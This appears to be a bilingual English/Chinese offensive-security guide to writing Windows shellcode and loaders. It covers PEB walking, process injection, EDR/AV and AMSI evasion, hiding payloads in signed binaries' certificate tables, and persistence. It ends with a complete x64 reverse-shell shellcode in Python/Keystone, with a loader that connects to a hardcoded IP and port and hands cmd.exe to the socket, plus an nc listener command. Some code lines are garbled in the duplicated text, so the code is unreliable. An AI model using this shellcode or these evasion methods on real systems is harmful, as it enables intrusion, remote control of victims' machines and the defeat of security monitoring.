offensive-shellcode

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Shellcode Development Workflow

Shellcode 开发工作流

  1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
  2. Write assembly using position-independent techniques
  3. Extract binary and test in controlled environment
  4. Apply null byte avoidance and optimizations
  5. Encode/encrypt to evade static detection
  6. Package with loader and choose delivery method

  1. 定义概念和目标平台(x86/x64、Windows/Linux/macOS)
  2. 使用位置无关技术编写汇编代码
  3. 提取二进制文件并在受控环境中测试
  4. 应用空字节规避与优化
  5. 进行编码/加密以规避静态检测
  6. 与加载器打包并选择投递方式

Basic Concepts

基础概念

Execution Pattern (Allocate-Write-Execute)

执行模式(Allocate-Write-Execute)

Avoid direct
PAGE_EXECUTE_READWRITE
— prefer:
  1. Allocate with
    PAGE_READWRITE
  2. Write shellcode to allocated region
  3. Call
    VirtualProtect
    to switch to
    PAGE_EXECUTE_READ
c
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
避免直接使用
PAGE_EXECUTE_READWRITE
——推荐:
  1. 使用
    PAGE_READWRITE
    分配内存
  2. 将 Shellcode 写入已分配区域
  3. 调用
    VirtualProtect
    将其切换为
    PAGE_EXECUTE_READ
c
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

位置无关代码(PIC)技术

MethodPlatformNotes
Call/PopWindowsPush next addr, pop into register
FPU stateWindows
fstenv
saves instruction pointer
SEHWindowsException handler stores EIP
GOTLinuxGlobal Offset Table
VDSOLinuxKernel-provided shared object

方法平台备注
Call/PopWindows将下一地址压栈,再弹出到寄存器
FPU stateWindows
fstenv
保存指令指针
SEHWindows异常处理程序存储 EIP
GOTLinuxGlobal Offset Table
VDSOLinux内核提供的共享对象

Windows API Resolution (PEB Walk)

Windows API 解析(PEB Walk)

Identifying
kernel32.dll
without imports:
  1. Get
    PEB
    via
    gs:[0x60]
    (x64) or
    fs:[0x30]
    (x86)
  2. Walk
    PEB->Ldr.InMemoryOrderModuleList
    — order: exe → ntdll → kernel32
  3. Hash-compare module names to locate
    kernel32
  4. Parse the Export Address Table (EAT)
  5. Find
    GetProcAddress
    by name hash, then resolve
    LoadLibraryA
  6. Use
    LoadLibraryA
    to load
    WS2_32.dll
    , resolve Winsock functions
WinDbg helpers for debugging PEB walk:
bash
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

无需导入表即可定位
kernel32.dll
:
  1. 通过
    gs:[0x60]
    (x64)或
    fs:[0x30]
    (x86)获取
    PEB
  2. 遍历
    PEB->Ldr.InMemoryOrderModuleList
    ——顺序:exe → ntdll → kernel32
  3. 对模块名进行哈希比较,以定位
    kernel32
  4. 解析 Export Address Table(EAT)
  5. 通过名称哈希查找
    GetProcAddress
    ,然后解析
    LoadLibraryA
  6. 使用
    LoadLibraryA
    加载
    WS2_32.dll
    ,解析 Winsock 函数
用于调试 PEB 遍历的 WinDbg 辅助命令:
bash
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

Shellcode Loaders

Shellcode 加载器

Loader Responsibilities

加载器职责

  • Environment verification / keying (sandbox detection)
  • Shellcode decryption
  • Safe memory allocation and injection
  • Ends its duties after injecting
Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
  • 环境验证/密钥校验(沙箱检测)
  • Shellcode 解密
  • 安全地分配内存并执行注入
  • 注入完成后终止其工作
推荐语言: Zig(体积小、无 runtime)、Rust(安全)、Nim、Go(注意 runtime 特征)

Allocation Phase

分配阶段

Avoid
RWX
allocations — use two-step:
  • VirtualAllocEx
    /
    NtAllocateVirtualMemory
    — allocate
    RW
  • ZwCreateSection
    +
    NtMapViewOfSection
    — alternative approach
  • After writing:
    VirtualProtectEx
    to switch to
    RX
Other options: code caves, stack/heap (with DEP disabled)
避免
RWX
分配——使用两步法:
  • VirtualAllocEx
    /
    NtAllocateVirtualMemory
    ——分配
    RW
  • ZwCreateSection
    +
    NtMapViewOfSection
    ——替代方案
  • 写入后:使用
    VirtualProtectEx
    切换为
    RX
其他选项: code caves、stack/heap(需禁用 DEP)

Write Phase

写入阶段

  • WriteProcessMemory
    /
    NtWriteVirtualMemory
  • memcpy
    to mapped section
Evasion tips:
  • Prepend shellcode with dummy opcodes
  • Split into chunks, write in randomized order
  • Add delays between writes
  • WriteProcessMemory
    /
    NtWriteVirtualMemory
  • memcpy
    到映射 section
规避提示:
  • 在 Shellcode 前置 dummy opcodes
  • 分块并按随机顺序写入
  • 在写入之间添加延迟

Execute Phase

执行阶段

Most scrutinized step — EDR checks thread start address against image-backed memory:
TechniqueNotes
CreateRemoteThread
/
ZwCreateThreadEx
Loud, heavily monitored
NtSetContextThread
Hijack suspended thread
NtQueueApcThreadEx
APC injection
API trampolinesOverwrite function prologue
ThreadlessInjectNo new threads created
Indirect execution resources:

最受审查的步骤——EDR 会将线程起始地址与映像映射内存(image-backed memory)进行检查:
技术备注
CreateRemoteThread
/
ZwCreateThreadEx
噪声较大,受到密切监控
NtSetContextThread
劫持已挂起的线程
NtQueueApcThreadEx
APC 注入
API trampolines覆写函数序言
ThreadlessInject不创建新线程
间接执行资源:

PE-to-Shellcode Conversion

PE 到 Shellcode 的转换

ToolPurpose
DonutEXE/DLL → shellcode
sRDIDLL → position-independent shellcode
Pe2shcPE → shellcode
AmberReflective PE packer
Open-source loaders:
  • ScareCrow
  • NimPackt-v1
  • NullGate — indirect syscalls + junk-write sequencing
  • DripLoader — chunked RW writes + direct syscalls + JMP trampoline
  • ProtectMyTooling — chain multiple protections
  • Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

工具用途
DonutEXE/DLL → Shellcode
sRDIDLL → 位置无关 Shellcode
Pe2shcPE → Shellcode
AmberReflective PE 打包器
开源加载器:
  • ScareCrow
  • NimPackt-v1
  • NullGate——间接 syscall + junk-write 排序
  • DripLoader——分块 RW 写入 + 直接 syscall + JMP trampoline
  • ProtectMyTooling——链式组合多种防护
  • 直接 syscall 辅助工具:SysWhispers3、FreshyCalls(现已成为基础要求)

Shellcode Storage & Hiding

Shellcode 存储与隐藏

LocationRiskNotes
Hardcoded in
.text
MediumRequires recompile; stored
RW/RO
PE Resources (
RCDATA
)
HighMost scanned by AV
Extra PE sectionMediumUse second-to-last section
Certificate TableLowKeeps signed PE signature intact
Internet-hostedVariableSharpShooter
Certificate Table technique (recommended):
  • Pad Certificate Table with shellcode bytes; update PE headers
  • Backdoor only the loader DLL (e.g.,
    ffmpeg.dll
    in
    teams.exe
    )
  • Main executable signature remains valid; only the DLL signature breaks
Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
Windows 11 24H2 note: AMSI heap scanning is active. Allocate with
PAGE_NOACCESS
, decrypt in place, then switch to
PAGE_EXECUTE_READ
to avoid live-heap scans.

位置风险备注
硬编码于
.text
中需要重新编译;以
RW/RO
存储
PE Resources(
RCDATA
)
高最常被 AV 扫描
额外的 PE section中使用倒数第二个 section
Certificate Table低保持已签名 PE 签名完整
网络托管可变SharpShooter
Certificate Table 技术(推荐):
  • 使用 Shellcode 字节填充 Certificate Table;更新 PE headers
  • 仅对 loader DLL 设置后门(例如
    teams.exe
    中的
    ffmpeg.dll
    )
  • 主可执行文件签名保持有效;仅 DLL 签名失效
保护: 使用 LZMA 压缩;存储前使用 XOR32、RC4 或 AES 加密。
Windows 11 24H2 注意: AMSI 堆扫描处于启用状态。使用
PAGE_NOACCESS
分配内存,原地解密,然后切换为
PAGE_EXECUTE_READ
,以避免实时堆扫描。

Evasion

规避

Progressive Evasion Escalation

渐进式规避升级

  1. Basic shellcode execution (baseline)
  2. Add XOR/AES encryption + obfuscation
  3. Direct syscalls to bypass userland hooks
  4. Remote process injection as last resort
  1. 基础 Shellcode 执行(基线)
  2. 添加 XOR/AES 加密与混淆
  3. 使用直接 syscall 绕过用户态 hook
  4. 将远程进程注入作为最后手段

Local vs Remote Injection

本地注入与远程注入

Remote injection is more detectable:
  • CFG
    /
    CIG
    enforcement
  • ETW Ti feeds
  • EDR call-stack back-tracing (
    NtOpenProcess
    invocation source)
  • More scrutinized steps: OpenProcess → Allocate → Write → Execute
Defender bypass tools (DefenderBypass):
  • myEncoder3.py
    — XOR-encrypt binary shellcode
  • InjectBasic.cpp
    — basic C++ injector
  • InjectCryptXOR.cpp
    — XOR decrypt + inject
  • InjectSyscall-LocalProcess.cpp
    — direct syscalls, no suspicious IAT entries
  • InjectSyscall-RemoteProcess.cpp
    — remote process injection via direct syscalls

远程注入更容易被检测:
  • CFG
    /
    CIG
    强制执行
  • ETW Ti feeds
  • EDR 调用栈回溯(
    NtOpenProcess
    调用来源)
  • 更受审查的步骤:OpenProcess → Allocate → Write → Execute
Defender 绕过工具(DefenderBypass):
  • myEncoder3.py
    ——使用 XOR 加密二进制 Shellcode
  • InjectBasic.cpp
    ——基础 C++ 注入器
  • InjectCryptXOR.cpp
    ——XOR 解密并注入
  • InjectSyscall-LocalProcess.cpp
    ——直接 syscall,无可疑 IAT 条目
  • InjectSyscall-RemoteProcess.cpp
    ——通过直接 syscall 进行远程进程注入

Cross-Platform Considerations

跨平台注意事项

Windows on ARM64 (WoA)

Windows on ARM64(WoA)

  • Syscalls use
    SVC 0
    with ARM64 table in
    ntdll!KiServiceTableArm64
  • Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with
    PACIASP
  • Syscall 使用
    SVC 0
    ,并使用
    ntdll!KiServiceTableArm64
    中的 ARM64 表
  • Pointer Authentication(PAC)为 LR 签名——避免 stack pivot,或使用
    PACIASP
    重新签名

Linux 6.9+ (eBPF Arena)

Linux 6.9+(eBPF Arena)

  • BPF_MAP_TYPE_ARENA
    maps can hold executable memory
  • Hide shellcode chunks in arena map, execute via
    bpf_prog_run_pin_on_cpu
  • BPF_MAP_TYPE_ARENA
    map 可保存可执行内存
  • 将 Shellcode 分块隐藏在 arena map 中,通过
    bpf_prog_run_pin_on_cpu
    执行

macOS (Signed System Volume)

macOS(Signed System Volume)

  • macOS 12+ seals the system partition; unsigned payloads cannot reside there
  • Userspace: launch agents, dylib hijacks in
    /Library/Apple/System/Library/Dyld/
  • Kernel persistence: create sealed snapshot, mount RW, inject, resign with
    kmutil
    , bless

  • macOS 12+ 会封印系统分区;未签名 payload 无法驻留其中
  • 用户空间:launch agent、
    /Library/Apple/System/Library/Dyld/
    中的 dylib 劫持
  • 内核持久化:创建 sealed snapshot,以 RW 挂载,注入,使用
    kmutil
    重新签名,再执行 bless

DripLoader Technique

DripLoader 技术

  1. Reserve 64KB chunks with
    NO_ACCESS
  2. Allocate 4KB
    RW
    chunks within that pool
  3. Write shellcode in chunks in randomized order
  4. Re-protect to
    RX
  5. Overwrite prologue of
    ntdll!RtlpWow64CtxFromAmd64
    with JMP trampoline
  6. All calls via direct syscalls:
    NtAllocateVirtualMemory
    ,
    NtWriteVirtualMemory
    ,
    NtCreateThreadEx

  1. 使用
    NO_ACCESS
    预留 64KB 分块
  2. 在该内存池中分配 4KB
    RW
    分块
  3. 按随机顺序分块写入 Shellcode
  4. 重新保护为
    RX
  5. 使用 JMP trampoline 覆写
    ntdll!RtlpWow64CtxFromAmd64
    的序言
  6. 所有调用均通过直接 syscall:
    NtAllocateVirtualMemory
    、
    NtWriteVirtualMemory
    、
    NtCreateThreadEx

Full x64 Reverse Shell Shellcode (Windows)

完整的 x64 反向 Shell Shellcode(Windows)

Complete Python/Keystone example implementing PEB walk →
GetProcAddress
→
LoadLibraryA
→ Winsock connect →
CreateProcessA(cmd.exe)
:
python
import ctypes, struct
from keystone import *

CODE = (
完整的 Python/Keystone 示例,实现 PEB walk →
GetProcAddress
→
LoadLibraryA
→ Winsock connect →
CreateProcessA(cmd.exe)
:
python
import ctypes, struct
from keystone import *

CODE = (

Locate kernel32 Base Address

Locate kernel32 Base Address

" start: " " add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space " find_kernel32: " " int3 ;" # WinDbg breakpoint (disable for release) " xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" # RAX = PEB " mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr " mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" # RBX = kernel32 base " mov r8, rbx ;"
" start: " " add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space " find_kernel32: " " int3 ;" # WinDbg breakpoint (disable for release) " xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" # RAX = PEB " mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr " mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" # RBX = kernel32 base " mov r8, rbx ;"

Parse Export Address Table

Parse Export Address Table

" mov ebx, [rbx+0x3C] ;" # PE signature offset " add rbx, r8 ;" # RBX = PE header " xor r12,r12 ;" " add r12, 0x88FFFFF ;" " shr r12, 0x14 ;" " mov edx, [rbx+r12] ;" # EAT RVA " add rdx, r8 ;" # RDX = EAT VA " mov r10d, [rdx+0x14] ;" # NumberOfFunctions " xor r11, r11 ;" " mov r11d, [rdx+0x20] ;" # AddressOfNames RVA " add r11, r8 ;" # AddressOfNames VA
" mov ebx, [rbx+0x3C] ;" # PE signature offset " add rbx, r8 ;" # RBX = PE header " xor r12,r12 ;" " add r12, 0x88FFFFF ;" " shr r12, 0x14 ;" " mov edx, [rbx+r12] ;" # EAT RVA " add rdx, r8 ;" # RDX = EAT VA " mov r10d, [rdx+0x14] ;" # NumberOfFunctions " xor r11, r11 ;" " mov r11d, [rdx+0x20] ;" # AddressOfNames RVA " add r11, r8 ;" # AddressOfNames VA

Find GetProcAddress

Find GetProcAddress

" mov rcx, r10 ;" " k32findfunction: " " jecxz functionfound ;" " xor ebx,ebx ;" " mov ebx, [r11+4+rcx*4] ;" # Function name RVA " add rbx, r8 ;" # Function name VA " dec rcx ;" " mov rax, 0x41636f7250746547 ;" # 'GetProcA' " cmp [rbx], rax ;" " jnz k32findfunction ;"
" mov rcx, r10 ;" " k32findfunction: " " jecxz functionfound ;" " xor ebx,ebx ;" " mov ebx, [r11+4+rcx*4] ;" # Function name RVA " add rbx, r8 ;" # Function name VA " dec rcx ;" " mov rax, 0x41636f7250746547 ;" # 'GetProcA' " cmp [rbx], rax ;" " jnz k32findfunction ;"

Get function address

Get function address

" functionfound: " " xor r11, r11 ;" " mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA " add r11, r8 ;" " inc rcx ;" " mov r13w, [r11+rcx2] ;" # Ordinal " xor r11, r11 ;" " mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA " add r11, r8 ;" " mov eax, [r11+4+r134] ;" " add rax, r8 ;" # GetProcAddress VA " mov r14, rax ;" # R14 = GetProcAddress
" functionfound: " " xor r11, r11 ;" " mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA " add r11, r8 ;" " inc rcx ;" " mov r13w, [r11+rcx2] ;" # Ordinal " xor r11, r11 ;" " mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA " add r11, r8 ;" " mov eax, [r11+4+r134] ;" " add rax, r8 ;" # GetProcAddress VA " mov r14, rax ;" # R14 = GetProcAddress

Resolve LoadLibraryA

Resolve LoadLibraryA

" mov rcx, 0x41797261 ;" " push rcx ;" " mov rcx, 0x7262694c64616f4c ;" " push rcx ;" # 'LoadLibraryA' " mov rdx, rsp ;" " mov rcx, r8 ;" # kernel32 base " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(kernel32, LoadLibraryA) " add rsp, 0x40 ;" " mov rsi, rax ;" # RSI = LoadLibraryA
" mov rcx, 0x41797261 ;" " push rcx ;" " mov rcx, 0x7262694c64616f4c ;" " push rcx ;" # 'LoadLibraryA' " mov rdx, rsp ;" " mov rcx, r8 ;" # kernel32 base " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(kernel32, LoadLibraryA) " add rsp, 0x40 ;" " mov rsi, rax ;" # RSI = LoadLibraryA

LoadLibrary("WS2_32.dll")

LoadLibrary("WS2_32.dll")

" xor rax, rax ;" " mov rax, 0x6C6C ;" " push rax ;" " mov rax, 0x642E32335F325357 ;" " push rax ;" # 'WS2_32.dll' " mov rcx, rsp ;" " sub rsp, 0x30 ;" " call rsi ;" # LoadLibraryA("WS2_32.dll") " mov r15, rax ;" # R15 = WS2_32 base " add rsp, 0x40 ;"
" xor rax, rax ;" " mov rax, 0x6C6C ;" " push rax ;" " mov rax, 0x642E32335F325357 ;" " push rax ;" # 'WS2_32.dll' " mov rcx, rsp ;" " sub rsp, 0x30 ;" " call rsi ;" # LoadLibraryA("WS2_32.dll") " mov r15, rax ;" # R15 = WS2_32 base " add rsp, 0x40 ;"

WSAStartup

WSAStartup

" mov rax, 0x7075 ;" " push rax ;" " mov rax, 0x7472617453415357 ;" " push rax ;" # 'WSAStartup' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(ws2_32, WSAStartup) " add rsp, 0x40 ;" " mov r12, rax ;" " xor rcx,rcx ;" " mov cx,408 ;" " sub rsp,rcx ;" " lea rdx,[rsp] ;" # lpWSAData " mov cx,514 ;" # wVersionRequired = 2.2 " sub rsp,88 ;" " call r12 ;" # WSAStartup
" mov rax, 0x7075 ;" " push rax ;" " mov rax, 0x7472617453415357 ;" " push rax ;" # 'WSAStartup' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(ws2_32, WSAStartup) " add rsp, 0x40 ;" " mov r12, rax ;" " xor rcx,rcx ;" " mov cx,408 ;" " sub rsp,rcx ;" " lea rdx,[rsp] ;" # lpWSAData " mov cx,514 ;" # wVersionRequired = 2.2 " sub rsp,88 ;" " call r12 ;" # WSAStartup

WSASocketA — create socket

WSASocketA — create socket

" mov rax, 0x4174 ;" " push rax ;" " mov rax, 0x656b636f53415357 ;" " push rax ;" # 'WSASocketA' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " sub rsp,0x208 ;" " xor rdx, rdx ;" " sub rsp, 88 ;" " mov [rsp+32], rdx ;" " mov [rsp+40], rdx ;" " inc rdx ;" " mov rcx, rdx ;" " inc rcx ;" " xor r8,r8 ;" " add r8,6 ;" " xor r9,r9 ;" " mov r9w,98*4 ;" " mov ebx,[r15+r9] ;" " xor r9,r9 ;" " call r12 ;" # WSASocketA " mov r13, rax ;" # R13 = socket handle " add rsp, 0x208 ;"
" mov rax, 0x4174 ;" " push rax ;" " mov rax, 0x656b636f53415357 ;" " push rax ;" # 'WSASocketA' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " sub rsp,0x208 ;" " xor rdx, rdx ;" " sub rsp, 88 ;" " mov [rsp+32], rdx ;" " mov [rsp+40], rdx ;" " inc rdx ;" " mov rcx, rdx ;" " inc rcx ;" " xor r8,r8 ;" " add r8,6 ;" " xor r9,r9 ;" " mov r9w,98*4 ;" " mov ebx,[r15+r9] ;" " xor r9,r9 ;" " call r12 ;" # WSASocketA " mov r13, rax ;" # R13 = socket handle " add rsp, 0x208 ;"

WSAConnect — connect to C2

WSAConnect — connect to C2

" mov rax, 0x7463 ;" " push rax ;" " mov rax, 0x656e6e6f43415357 ;" " push rax ;" # 'WSAConnect' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " mov rcx, r13 ;" # socket handle " sub rsp,0x208 ;" " xor rax,rax ;" " inc rax ;" " inc rax ;" " mov [rsp], rax ;" # AF_INET = 2 " mov rax, 0xbb01 ;" # Port 443 (big-endian) " mov [rsp+2], rax ;" " mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS " mov [rsp+4], rax ;" " lea rdx,[rsp] ;" " mov r8, 0x16 ;" # sizeof(sockaddr_in) " xor r9,r9 ;" " push r9 ;" " push r9 ;" " push r9 ;" " sub rsp, 0x88 ;" " call r12 ;" # WSAConnect
" mov rax, 0x7463 ;" " push rax ;" " mov rax, 0x656e6e6f43415357 ;" " push rax ;" # 'WSAConnect' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " mov rcx, r13 ;" # socket handle " sub rsp,0x208 ;" " xor rax,rax ;" " inc rax ;" " inc rax ;" " mov [rsp], rax ;" # AF_INET = 2 " mov rax, 0xbb01 ;" # Port 443 (big-endian) " mov [rsp+2], rax ;" " mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS " mov [rsp+4], rax ;" " lea rdx,[rsp] ;" " mov r8, 0x16 ;" # sizeof(sockaddr_in) " xor r9,r9 ;" " push r9 ;" " push r9 ;" " push r9 ;" " sub rsp, 0x88 ;" " call r12 ;" # WSAConnect

Re-locate kernel32 and resolve CreateProcessA

Re-locate kernel32 and resolve CreateProcessA

" xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" " mov rax, [rax + 0x18] ;" " mov rsi, [rax + 0x20] ;" " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" " mov r8, rbx ;" " mov rax, 0x41737365636f ;" " push rax ;" " mov rax, 0x7250657461657243 ;" " push rax ;" # 'CreateProcessA' " mov rdx, rsp ;" " mov rcx, r8 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" # R12 = CreateProcessA
" xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" " mov rax, [rax + 0x18] ;" " mov rsi, [rax + 0x20] ;" " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" " mov r8, rbx ;" " mov rax, 0x41737365636f ;" " push rax ;" " mov rax, 0x7250657461657243 ;" " push rax ;" # 'CreateProcessA' " mov rdx, rsp ;" " mov rcx, r8 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" # R12 = CreateProcessA

Push cmd.exe + build STARTUPINFOA

Push cmd.exe + build STARTUPINFOA

" mov rax, 0x6578652e646d63 ;" " push rax ;" # 'cmd.exe' " mov rcx, rsp ;" # lpApplicationName " push r13 ;" # hStdError = socket " push r13 ;" # hStdOutput = socket " push r13 ;" # hStdInput = socket " xor rax,rax ;" " push ax ;" " push rax ;" " push rax ;" " mov rax, 0x100 ;" # STARTF_USESTDHANDLES " push ax ;" " xor rax,rax ;" " push ax ;" " push ax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " mov rax, 0x68 ;" " push rax ;" # cb = 0x68 " mov rdi,rsp ;" # RDI = &STARTUPINFOA
" mov rax, 0x6578652e646d63 ;" " push rax ;" # 'cmd.exe' " mov rcx, rsp ;" # lpApplicationName " push r13 ;" # hStdError = socket " push r13 ;" # hStdOutput = socket " push r13 ;" # hStdInput = socket " xor rax,rax ;" " push ax ;" " push rax ;" " push rax ;" " mov rax, 0x100 ;" # STARTF_USESTDHANDLES " push ax ;" " xor rax,rax ;" " push ax ;" " push ax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " mov rax, 0x68 ;" " push rax ;" # cb = 0x68 " mov rdi,rsp ;" # RDI = &STARTUPINFOA

Call CreateProcessA

Call CreateProcessA

" mov rax, rsp ;" " sub rax, 0x500 ;" " push rax ;" # lpProcessInformation " push rdi ;" # lpStartupInfo " xor rax, rax ;" " push rax ;" # lpCurrentDirectory = NULL " push rax ;" # lpEnvironment = NULL " push rax ;" " inc rax ;" " push rax ;" # bInheritHandles = TRUE " xor rax, rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" # dwCreationFlags = 0 " mov r8, rax ;" # lpThreadAttributes = NULL " mov r9, rax ;" # lpProcessAttributes = NULL " mov rdx, rcx ;" # lpCommandLine = 'cmd.exe' " mov rcx, rax ;" # lpApplicationName = NULL " call r12 ;" # CreateProcessA )
ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) print("Encoded %d instructions..." % count)
sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int), )
ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr)) input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)), ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`
>
> **Windows 11 23H2:** Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.
" mov rax, rsp ;" " sub rax, 0x500 ;" " push rax ;" # lpProcessInformation " push rdi ;" # lpStartupInfo " xor rax, rax ;" " push rax ;" # lpCurrentDirectory = NULL " push rax ;" # lpEnvironment = NULL " push rax ;" " inc rax ;" " push rax ;" # bInheritHandles = TRUE " xor rax, rax ;" " push rax ;" " push rax ;" " push rax ;" # dwCreationFlags = 0 " mov r8, rax ;" # lpThreadAttributes = NULL " mov r9, rax ;" # lpProcessAttributes = NULL " mov rdx, rcx ;" # lpCommandLine = 'cmd.exe' " mov rcx, rax ;" # lpApplicationName = NULL " call r12 ;" # CreateProcessA )
ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) print("Encoded %d instructions..." % count)
sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int), )
ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr)) input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)), ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

> **注意:** 使用前请更新 IP(`0x31061fac`)和端口(`0xbb01`)。监听器:`nc -nvlp 443`
>
> **Windows 11 23H2:** Smart App Control 可能会阻止到本地子网的出站 TCP 443/4444。请使用非标准端口或命名管道 payload。